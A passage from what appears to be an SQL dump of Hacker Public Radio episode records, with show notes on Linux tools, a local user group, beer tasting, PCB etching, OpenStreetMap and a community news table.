/media/usb0\r\n</code></pre>\r\n\r\n<pre><code>abi-3.2.0-31-generic-pae\r\nconfig-3.2.0-31-generic-pae\r\ngrub\r\ninitrd.img-3.2.0-31-generic-pae\r\nlost+found\r\nmemtest86+.bin\r\nmemtest86+_multiboot.bin\r\nSystem.map-3.2.0-31-generic-pae\r\nvmlinuz-3.2.0-31-generic-pae\r\n</code></pre>\r\n',131,0,1,'CC-BY-SA','\"Ubuntu server\",\"linux kernel\",/boot',0,1873,1),
(2083,'2016-07-27','My 18th HPR Beer Podcast',279,'JustMe here again. This time with my 18th beer tasting podcast. This time we\'re tasting a Flying Dog','<p>JustMe here again. This time with my 18th beer tasting podcast.</p>\r\n<p>This time we’re tasting a Flying Dog Single Hop Warrior Imperial IPA, 10%ALC/Vol</p>\r\n<p>I do believe you’ll like this one. I know I did.</p>\r\n<p>\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2083_dscn0653-sm2.jpg\" alt=\"hand holding beer bottle\" />\r\n</p>',313,14,0,'CC-BY-SA','Beer Tasting',0,0,1),
(2080,'2016-07-22','Kdenlive Part 3: Effects and Transitions',846,'Using effects and transitions in Kdenlive','<!-- Processed by make_markdown V0.0.4 -->\r\n<p>Hello again HPR listeners this is Geddes back with Part 3 in the series covering the video editing application KdenLive. This time round we’ll be looking at effects and transitions which covers the following topics</p>\r\n<ul>\r\n<li>Layout Mods</li>\r\n<li>Fades</li>\r\n<li>Dissolves</li>\r\n<li>Slides and wipes</li>\r\n<li>Chroma Key, aka green screen</li>\r\n<li>Composited images and titles</li>\r\n</ul>\r\n<p>Here’s the link to the original article. <a href=\"https://opensource.com/life/11/11/effects-and-transitions-kdenlive\" class=\"uri\">https://opensource.com/life/11/11/effects-and-transitions-kdenlive</a></p>\r\n',310,0,0,'CC-BY-SA','Kdenlive,opensource.com,video effects,video transitions',0,0,1),
(1168,'2013-01-23','How I started my local Linux User Group',1425,'A story from a new host who set up a local LUG in the Netherlands','<h2>\r\nIntro\r\n</h2>\r\n\r\n<ul>\r\n<li>/me\r\n</li>\r\n<li>\'s-Hertogenbosch, The Netherlands\r\n</li>\r\n<li>What is a LUG?\r\n<a href=\"https://en.wikipedia.org/wiki/Linux_user_group\">https://en.wikipedia.org/wiki/Linux_user_group</a>\r\n</li>\r\n</ul>\r\n\r\n<h2>\r\nReaching out\r\n</h2>\r\n\r\n<ul>\r\n<li>November 2011: Home alone, hacking away\r\n</li>\r\n<li>At work - not successful in getting colleagues interested\r\n</li>\r\n<li>Ubuntu NL members map - sending private messages\r\n<a href=\"https://forum.ubuntu-nl.org/index.php?action=googlemap\">https://forum.ubuntu-nl.org/index.php?action=googlemap</a>\r\n</li>\r\n<li>Ubuntu NL forum post\r\n<a href=\"https://forum.ubuntu-nl.org/algemeen-42/starten-van-een-linux-users-group-in-den-bosch/msg782708/\">https://forum.ubuntu-nl.org/algemeen-42/starten-van-een-linux-users-group-in-den-bosch/msg782708/</a>\r\n</li>\r\n<li>Debian NL mailing list\r\n<a href=\"https://lists.debian.org/debian-user-dutch/2011/11/msg00006.html\">https://lists.debian.org/debian-user-dutch/2011/11/msg00006.html</a>\r\n</li>\r\n<li>OpenSuse mailing list\r\n<a href=\"https://lists.opensuse.org/opensuse-project/2011-11/msg00116.html\">https://lists.opensuse.org/opensuse-project/2011-11/msg00116.html</a>\r\n</li>\r\n<li>Gentoo and CentOS mailing lists (lists seem down)\r\n</li>\r\n<li>DukesOfHackers - Hackerspace in Den Bosch\r\n<a href=\"https://forum.ubuntu-nl.org/algemeen-42/lijst-van-hackerspaces-nederland/msg749087/#msg749087\">https://forum.ubuntu-nl.org/algemeen-42/lijst-van-hackerspaces-nederland/msg749087/#msg749087</a>\r\n</li>\r\n</ul>\r\n\r\n<h2>\r\nLooking for a meeting place\r\n</h2>\r\n\r\n<ul>\r\n<li>Meet up with Roel to discuss the Hackerspace and LUG\r\n</li>\r\n<li>Second reunion, with Roel and Vin to find a place\r\n</li>\r\n</ul>\r\n\r\n<h2>\r\nFirst meetings\r\n</h2>\r\n\r\n<ul>\r\n<li>Bar: In de Keulse Kar 1st and 2nd meting\r\n</li>\r\n<li>Ex-squat Knoflook for subsequent meetings\r\n<a href=\"https://ontspoord.org/knoflook-2/\">https://ontspoord.org/knoflook-2/</a>\r\n</li>\r\n<li>Visit to HCC afdeling Noord Oost Brabant\r\n<a href=\"https://no-brabant.hcc.nl/\">https://no-brabant.hcc.nl/</a>\r\n</li>\r\n</ul>\r\n\r\n<h2>\r\nThe continuation\r\n</h2>\r\n\r\n<ul>\r\n<li>Regular place, recurring date/time\r\n</li>\r\n<li>Events; FOSDEM\r\n</li>\r\n</ul>\r\n\r\n<h2>\r\nTools\r\n</h2>\r\n\r\n<ul>\r\n<li>Website\r\n</li>\r\n<li>Mailing list\r\n</li>\r\n<li>IRC\r\n</li>\r\n<li>Google Plus / Facebook\r\n</li>\r\n<li>Meetup\r\n</li>\r\n</ul>\r\n\r\n<h2>\r\nLinks\r\n</h2>\r\n<p>\r\n-  Recipe for a Successful Linux User Group\r\n<a href=\"https://linuxmafia.com/faq/Linux_PR/newlug.html\">https://linuxmafia.com/faq/Linux_PR/newlug.html</a>\r\n</p>\r\n\r\n<ul>\r\n<li>Linux User Group HOWTO\r\n<a href=\"https://www.tldp.org/HOWTO/User-Group-HOWTO.html\">https://www.tldp.org/HOWTO/User-Group-HOWTO.html</a>\r\n</li>\r\n<li>Den Bosch Linux User Group\r\n<a href=\"https://lug.project073.nl/\">https://lug.project073.nl/</a>\r\n</li>\r\n<li>MadLUG: Madison, Wisconsin Linux Users Group\r\n<a href=\"https://www.madisonlinux.org/\">https://www.madisonlinux.org/</a>\r\n</li>\r\n<li>UK Linux User Groups\r\n<a href=\"https://lug.org.uk/\">https://lug.org.uk/</a>\r\n</li>\r\n</ul>\r\n\r\n<p>\r\nShow released under a Creative Commons Attribution \r\nShareAlike 3.0 License. \r\nSee: <a href=\"https://creativecommons.org/licenses/by-sa/3.0/\">https://creativecommons.org/licenses/by-sa/3.0/</a>\r\n</p>',234,0,1,'CC-BY-SA','LUG,Netherlands,\"Den Bosch\",hackerspace',0,1964,1),
(1169,'2013-01-24','Autotools',2879,'An HPR Saturday Session discussing GNU autoconf and automake','<p>\r\nPlease note: the time of the hpr saturday sessions has changed to 12:00 midday EST or 6 in the evening Central European Time. Also recording has ended for this year, but you are free to join in again at 12th of January.\r\n</p>\r\n<p>\r\nThis is a recording of the HPR Saturday Sessions - at the Linux Basement mumble server if you have knowledge you wish to share with your fellow listeners but don\'t know how to say it.\r\n</p>\r\n<p>\r\nIn this episode Nido Media takes us through how to create a \'./configure\' script using one of his own packages as an example. You can find the \'derpy\' package at <a href=\"https://motherrabbit.foxserver.be/nido/derpy-0.2.tar.gz\">https://motherrabbit.foxserver.be/nido/derpy-0.2.tar.gz</a> (be aware this version has been packaged purely as example of autotools).\r\n</p>\r\n<p>\r\nThe GNU manuals for autoconf and automake:\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/autoconf/manual/\">https://www.gnu.org/software/autoconf/manual/</a>\r\n</li>\r\n<li><a href=\"https://www.gnu.org/software/automake/manual/\">https://www.gnu.org/software/automake/manual/</a>\r\n</li>\r\n</ul>',214,0,1,'CC-BY-SA','\"configure script\",autoconf,automake,automation,compilation',0,1894,1),
(1170,'2013-01-25','TGTM Newscast for 1/20/2013',985,'A newscast from Talk Geek to Me','<p>Here is a news review:</p>\r\n<ul>\r\n<li><a href=\"https://venezuelanalysis.com/analysis/7615\">Venezuelan\r\nVictim’s Association Opposes Pardon Requests for Perpetrators of 2002\r\nCoup</a>\r\n</li>\r\n<li><a href=\"https://www.democracynow.org/2013/1/17/headlines#1172\">Judge:\r\nU.S. Gov’t Must Prove Manning Knowingly Aided Al-Qaeda </a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.allgov.com/news/controversies/court-orders-nuclear-regulatory-commission-to-explain-why-it-exempted-indian-point-reactor-from-fire-safety-regulations-130113?news=846732\">Court\r\nOrders Nuclear Regulatory Commission to Explain Why it Exempted Indian\r\nPoint Reactor from Fire Safety Regulations</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.rhrealitycheck.org/article/2013/01/13/good-year-red-umbrellas-advances-in-sex-workers-rights-in-2012\">A\r\nGood Year for Red Umbrellas: Advances in Sex Workers Rights in 2012</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.thestand.org/2013/01/paid-sick-days-legislation-would-benefit-public-health-businesses/\">Paid\r\nsick days legislation would benefit public health, business</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/01/free-speech-victory-court-grants-preliminary-injunction-effs-prop-35-suit\">Free\r\nSpeech Victory - Court Grants Preliminary Injunction in EFF\'s Prop 35\r\nSuit</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/canada-refuses-to-hand-over-megaupload-servers-to-the-us-130117/\">Canadian\r\nCourt Refuses to Ship Megaupload Servers to the US</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.emptywheel.net/2013/01/17/what-to-do-about-computer-crime-laws/\">What\r\nto Do about Computer Crime Laws</a>\r\n</li>\r\n<li><a\r\nhref=\"https://torrentfreak.com/copyright-strike-system-flaws-130115/\">Copyright\r\n“Strike” Systems Are Modern Witch Trials</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/01/farewell-aaron-swartz\">Farewell\r\nto Aaron Swartz, an Extraordinary Hacker and Activist</a>\r\n</li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n<li><a href=\"https://www.havanatimes.org/?p=85924\">Cuba Immigration\r\nReforms Going into Effect Today </a>\r\n</li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1538\">Two More\r\nHorrific Gang Rapes: Why Rage Against Women Is Boiling Over in India</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.huffingtonpost.com/2013/01/14/aaron-swartz-stephen-heymann_n_2473278.html\">Aaron\r\nSwartz\'s Lawyer: Prosecutor Stephen Heymann Wanted \'Juicy\' Case For\r\nPublicity </a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.techdirt.com/articles/20130116/18263921707/law-professor-james-grimmelmann-explains-how-he-probably-violated-same-laws-as-aaron-swartz.shtml\">Law\r\nProfessor James Grimmelmann Explains How He Probably Violated The Same\r\nLaws As Aaron Swartz</a>\r\n</li>\r\n<li><a\r\nhref=\"https://www.eff.org/deeplinks/2013/01/effs-initial-improvements-aarons-law-computer-crime-reform\">EFF\'s\r\nInitial Improvements to Aaron\'s Law for Computer Crime Reform</a>\r\n</li>\r\n</ul>\r\n<p>Staffed and produced by the TGTM news team, Editorial Selection by\r\nDeepGeek, views of the story\r\nauthors reflect their own opinions and not neccesarily those of TGTM\r\nnews.\r\n</p>\r\n<p>News from \"emptywheel.net,\"&nbsp; \"thestand.org,\"\r\nand\r\n\"allgov.com\" used\r\nunder&nbsp;arranged\r\npermission.</p>\r\n<p>News\r\nfrom \"torrentfreak.com,\" and \"eff.org\" used\r\nunder\r\npermission of the Creative Commons\r\nby-attribution&nbsp;license.</p>\r\nNews from \"venezuelanalysis.com,\" and \"democracynow.org,\" used under\r\npermission of the Creative Commons\r\nby-attribution non-commercial no-derivatives license.\r\n<p>News from \"rhrealitycheck.org\" used under permission of the Creative\r\nCommons by-attribution share-alike license.<br />\r\n</p>\r\n<p>News Sources retain their respective copyrights.</p>',237,65,1,'CC-BY-SA','newscast,TGTM',0,1865,1),
(1171,'2013-01-28','Tech and Loathing 13 - Remote Desktop Protocols',3144,'We join the Tech and Loathing podcast for episode 13','<p>\r\nToday we are doing the last show that has been in the syndicated Thursday queue for a long time. Now that we are no longer syndicating shows, I wanted to post this today so that we can get the backlog cleared.\r\n</p>\r\n<p>\r\nThe show can be found at <a href=\"https://techandloathing.info/2012/11/tnl-episode-13-remote-desktop-protocols/\">https://techandloathing.info/2012/11/tnl-episode-13-remote-desktop-protocols/</a>\r\n</p>\r\n<p>Hey listeners, another episode of Tech &amp; Loathing is now on tap. A couple of IRC friends have joined me tonight to discuss a couple of topics. For Loathing we have Android vs. iOS and all of my frustrations with the world of mobile computing. For Tech we have a look at RDP, VNC and running applications and desktop environments remotely, either securely via SSH or VPN or insecurely using X Forwarding and other techniques. Hope everyone enjoys the show.</p>\r\n',127,0,1,'CC-BY-SA','Android,iPhone,RDP,VNC,Remmina,Vinagre,xrdp,VNC,RealVNC,TightVNC,X forwarding',0,1832,1),
(1172,'2013-01-29','LiTS 022: Sort',930,'Sort lines of text files with the <em>sort</em> command','<p>The sort command does just that, it sorts input.  Input can be a list of files, standard in, or files with standard in. The first example presents this simple file, shopping.txt,  containing a list of items:</p>\r\n<blockquote><p>chicken<br/>\r\nfish<br/>\r\nsour cream<br/>\r\nbread crumbs<br/>\r\nmilk<br/>\r\neggs<br/>\r\nbread<br/>\r\nsinkers<br/>\r\nfishing hooks</p></blockquote>\r\n<p>Issuing the sort command on this file:</p>\r\n<blockquote><p>sort shopping.txt</p></blockquote>\r\n<p>Would present the following output:</p>\r\n<blockquote><p>bread<br/>\r\nbread crumbs<br/>\r\nchicken<br/>\r\neggs<br/>\r\nfish<br/>\r\nfishing hooks<br/>\r\nmilk<br/>\r\nsinkers<br/>\r\nsour cream</p></blockquote>\r\n<p>\r\nFor more information including a complete video please see <a href=\"https://www.linuxintheshell.com/2013/01/29/episode-022-sort/\">https://www.linuxintheshell.com/2013/01/29/episode-022-sort/</a>\r\n</p>\r\n',7,67,1,'CC-BY-SA','sort',0,2204,1),
(1173,'2013-01-30','Sonar GNU/linux',1452,'The Sonar GNU/linux distribution and its Indiegogo campaign','<p>\r\nToday\'s show is about Sonar GNU/linux and the importance of it. I\'m also\r\nrunning an Indegogo campaign and I mention it at the end. The link to the\r\ncampaign is\r\n</p>\r\n<p>\r\n<a href=\"https://www.indegogo.com/sonar\">https://www.indegogo.com/sonar</a>\r\n</p>\r\n<p>\r\nThe link to Sonar is\r\n</p>\r\n<p>\r\n<a href=\"https://www.sonar-project.org\">https://www.sonar-project.org</a>\r\n</p>\r\n',161,0,1,'CC-BY-SA','Accessible Computing Foundation,ACF,Sonar Project,accessibility',0,1860,1),
(1174,'2013-01-31','Low Tech Fab (PCB Etching)',1142,'NYbill makes his own copper PCB boards at home','<p>\nDue to an error in the encoding (ken\'s fault) the episode is been re-transmitted - sorry all\n</p>\n<p>\nI this episode NYbill talks about etching copper PCB boards at home.. \n</p>\n<p>\nPhoto collection:\n<a href=\"https://www.flickr.com/photos/44249669@N06/sets/72157632074234777/\">https://www.flickr.com/photos/44249669@N06/sets/72157632074234777/</a>\n</p>\n<p>\nSurface mount breakout board layouts:\n<a href=\"https://hackaday.com/2010/04/29/surface-mount-breakout-boards/\">https://hackaday.com/2010/04/29/surface-mount-breakout-boards/</a>\n</p>\n<p>\nFTDI FT232RL Data sheet:\n<a href=\"https://www.ftdichip.com/Support/Documents/DataSheets/ICs/DS_FT232R.pdf\">https://www.ftdichip.com/Support/Documents/DataSheets/ICs/DS_FT232R.pdf</a>\n</p>\n<p>\nSparkfun FTDI breakout board schematic:\n<a href=\"https://www.sparkfun.com/datasheets/DevTools/Arduino/FTDI%20Basic-v13-5V.pdf\">https://www.sparkfun.com/datasheets/DevTools/Arduino/FTDI%20Basic-v13-5V.pdf</a>\n</p>\n<p>\nTinting fluid (I didn\'t buy it here. This is just a good pic of the product I used):\n<a href=\"https://www.allelectronics.com/mas_assets/cache/image/6/1/0/1552.Jpg\">https://www.allelectronics.com/mas_assets/cache/image/6/1/0/1552.Jpg</a>\n</p>\n<p>\nAnyone driving through the Capital District of New York, this old, locally owned, electronics shop is still kicking:\n<a href=\"https://www.trojanelectronics.com/\">https://www.trojanelectronics.com/</a>\n</p>\n<p>\nA few things I forgot to mention in the episode. The muriatic acid/hydrogen peroxide etching solution can be used multiple times. Store it in plastic or glass containers. The tinting fluid can also be reused. But, it will need to be agitated and or slightly heated (place container in a bath of hot water) before reuse as the mix will settle out.\n</p>',235,103,1,'CC-BY-SA','Electronics,PCB,Etching,DIY',1,1570,1),
(1175,'2013-02-01','how to start irssi in screen after reboot',285,'Using cron to start screen after a reboot and run irssi in it','<p>\r\nIn this episode Lord Drachenblut shows us how to start irssi in screen after reboot.\r\n</p>\r\n<pre>\r\ncrontab -e # opens editor for crontab \r\n@reboot /usr/bin/screen -dmUS irc /usr/bin/irssi\r\n</pre>\r\n<p>\r\n-d -m   Start screen in \"detached\" mode. This creates a new session but doesn\'t attach to it. This is useful for system startup scripts.<br />\r\n       -U   Run  screen  in  UTF-8  mode.  This  option tells screen that your terminal sends and understands UTF-8 encoded characters. It also sets the\r\n            default encoding for new windows to `utf8\'.<br />\r\n       -S sessionname\r\n            When creating a new session, this option can be used to specify a meaningful name for the session. This  name  identifies  the  session  for\r\n            \"screen -list\" and \"screen -r\" actions. It substitutes the default [tty.host] suffix.\r\n\r\n\r\n<br />\r\n<a href=\"https://www.gnu.org/software/screen/\">https://www.gnu.org/software/screen/</a><br />\r\n<a href=\"https://www.irssi.org/\">https://www.irssi.org/</a><br />\r\n<a href=\"https://en.wikipedia.org/wiki/Cron\">https://en.wikipedia.org/wiki/Cron</a>\r\n</p>',24,0,1,'CC-BY-SA','cron,screen,crontab,reboot',0,1999,1),
(1176,'2013-02-04','Intro to editing the Open Street Map ',3765,'The OpenStreetMap editor and how to use it','<p>\r\nI\'m going to call this an experimental episode. It\'s a tutorial on eding the Open Street Map at <a href=\"https://www.openstreetmap.org/\">https://www.openstreetmap.org/</a> . By all rights, this should have been done as a screen cast, but since I have no interest in doing a screen cast, we\'re going to try something different. For this episode to work, I\'ll need your cooperation, and for it to make any sence to you, you\'ll need to be signed into <a href=\"https://www.openstreetmap.org/\">https://www.openstreetmap.org/</a> . So go ahead and create an account over there (or begin the password reset process) while you\'re downloading this audio file. You\'re going to need an account if you want to edit anyway, so I\'m not asking for anything you wouldn\'t be doing anyway. You may find it helpful to have a second tab open to <a href=\"https://wiki.openstreetmap.org/wiki/Map_Features\">https://wiki.openstreetmap.org/wiki/Map_Features</a> . It won\'t be much help while listening to the episode, but it is very helpful while editing in general.  \r\n</p>\r\n<p>\r\nSome people enjoy finding mistakes. For their enjoyment I have included a few.\r\n</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.openstreetmap.org/\">https://www.openstreetmap.org/</a>\r\n</li>\r\n<li><a href=\"https://wiki.openstreetmap.org/wiki/Map_Features\">https://wiki.openstreetmap.org/wiki/Map_Features</a>\r\n</li>\r\n</ul>',128,0,1,'CC-BY-SA','OpenStreetMap,OSM,Potlatch',0,1773,1),
(1177,'2013-02-05','HPR Community News Dec 12/Jan 13',4102,'HPR Community News Dec 12/Jan 13','<h2>New hosts</h2>\r\n<p>Welcome to our new hosts: \r\n\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=227\">Dick Thomas</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=228\">Delwin</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=229\">Charles in NJ</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=230\">Dude-man</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=231\">Beto</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=232\">Peter64</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=233\">johanv</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=234\">Emilien Klein</a>, \r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\">NYbill</a>, , and\r\n<a href=\"https://hackerpublicradio.org/correspondents.php?hostid=236\">K5TUX</a>.\r\n</p>\r\n\r\n<h2>Apologies and Thanks</h2>\r\n<p>\r\nDude-Man for missing that he was a new podcaster.<br />\r\nThanks to Emilien for the patch to the readme<br />\r\nThanks to Mike Hingley, and Dave for the heads up about the problems with the website<br />\r\nBig thanks to everyone who supported the New Year Show.<br/>\r\nApologies to everyone that was offended by my posts to the mail lists\r\n</p>\r\n\r\n<h2>Show Review</h2>\r\n<table id=\"table_results\" class=\"data ajax\">\r\n<thead><tr>\r\n<th class=\"draggable condition\">id\r\n</th><th class=\"draggable\">title\r\n</th><th class=\"draggable\">host\r\n</th></tr>\r\n</thead>\r\n        <tbody>\r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1132</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 019: Kill the worms!</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1133</td>\r\n<td  class=\"data grid_edit not_null    \">How I got in to Linux</td>\r\n<td  class=\"data grid_edit not_null    \">Dick Thomas</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1134</td>\r\n<td  class=\"data grid_edit not_null    \">Scannerdrome Ep. 1 - Lola Lariscy</td>\r\n<td  class=\"data grid_edit not_null    \">Various Hosts</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1135</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 12/01/2012</td>\r\n<td  class=\"data grid_edit not_null    \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1136</td>\r\n<td  class=\"data grid_edit not_null    \">01 Introduction to Office software</td>\r\n<td  class=\"data grid_edit not_null    \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1137</td>\r\n<td  class=\"data grid_edit not_null    \">Open Street Maps</td>\r\n<td  class=\"data grid_edit not_null    \">NewAgeTechnoHippie</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1138</td>\r\n<td  class=\"data grid_edit not_null    \">Programming languages 2 - Python</td>\r\n<td  class=\"data grid_edit not_null    \">garjola</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1139</td>\r\n<td  class=\"data grid_edit not_null    \">The missing episode</td>\r\n<td  class=\"data grid_edit not_null    \">MrGadgets</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1140</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 12/9/2012</td>\r\n<td  class=\"data grid_edit not_null    \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1141</td>\r\n<td  class=\"data grid_edit not_null    \">mumble client intro</td>\r\n<td  class=\"data grid_edit not_null    \">Delwin</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1142</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 020: pgrep and pkill</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1143</td>\r\n<td  class=\"data grid_edit not_null    \">The N Days of Christmas? Intro to Recreational Math</td>\r\n<td  class=\"data grid_edit not_null    \">Charles in NJ</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1144</td>\r\n<td  class=\"data grid_edit not_null    \">Who Owns Your Files</td>\r\n<td  class=\"data grid_edit not_null    \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1145</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 12/20/2012</td>\r\n<td  class=\"data grid_edit not_null    \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1146</td>\r\n<td  class=\"data grid_edit not_null    \">Wireshark-1</td>\r\n<td  class=\"data grid_edit not_null    \">NewAgeTechnoHippie</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1147</td>\r\n<td  class=\"data grid_edit not_null    \">Eulogy for the Netbook</td>\r\n<td  class=\"data grid_edit not_null    \">AukonDK</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1148</td>\r\n<td  class=\"data grid_edit not_null    \">Development Discussion</td>\r\n<td  class=\"data grid_edit not_null    \">Dave Morriss</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1149</td>\r\n<td  class=\"data grid_edit not_null    \">02 LibreOffice Writer Default Template</td>\r\n<td  class=\"data grid_edit not_null    \">Ahuka</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1150</td>\r\n<td  class=\"data grid_edit not_null    \">Hacking Karma And Reincarnation With The Forgiveness Discipline</td>\r\n<td  class=\"data grid_edit not_null    \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1151</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 1</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1152</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 2</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1153</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 3</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1154</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 4</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1155</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 5</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1156</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 6</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1157</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 7</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1158</td>\r\n<td  class=\"data grid_edit not_null    \">Hacker Public Radio New Year Show Part 8</td>\r\n<td  class=\"data grid_edit not_null    \">Various Creative Commons Works</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1159</td>\r\n<td  class=\"data grid_edit not_null    \">Food - Health - Nutrially Densce food</td>\r\n<td  class=\"data grid_edit not_null    \">Dude-man</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1160</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 1/8/2013 DeepGeek</td>\r\n<td  class=\"data grid_edit not_null    \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1161</td>\r\n<td  class=\"data grid_edit not_null    \">PAM Two Factor Auth SSH</td>\r\n<td  class=\"data grid_edit not_null    \">Beto</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1162</td>\r\n<td  class=\"data grid_edit not_null    \">LiTS 021 - killall</td>\r\n<td  class=\"data grid_edit not_null    \">Dann</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1163</td>\r\n<td  class=\"data grid_edit not_null    \">Installing PYWWS on a Raspberry Pi</td>\r\n<td  class=\"data grid_edit not_null    \">Peter64</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1164</td>\r\n<td  class=\"data grid_edit not_null    \">About git</td>\r\n<td  class=\"data grid_edit not_null    \">johanv</td>\r\n</tr>\r\n            \r\n<tr class=\"even\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1165</td>\r\n<td  class=\"data grid_edit not_null    \">TGTM Newscast for 1/17/2013</td>\r\n<td  class=\"data grid_edit not_null    \">deepgeek</td>\r\n</tr>\r\n            \r\n<tr class=\"odd\"><td align=\"right\" class=\"data grid_edit not_null    condition nowrap \">1166</td>\r\n<td  class=\"data grid_edit not_null    \">Airtime Radio 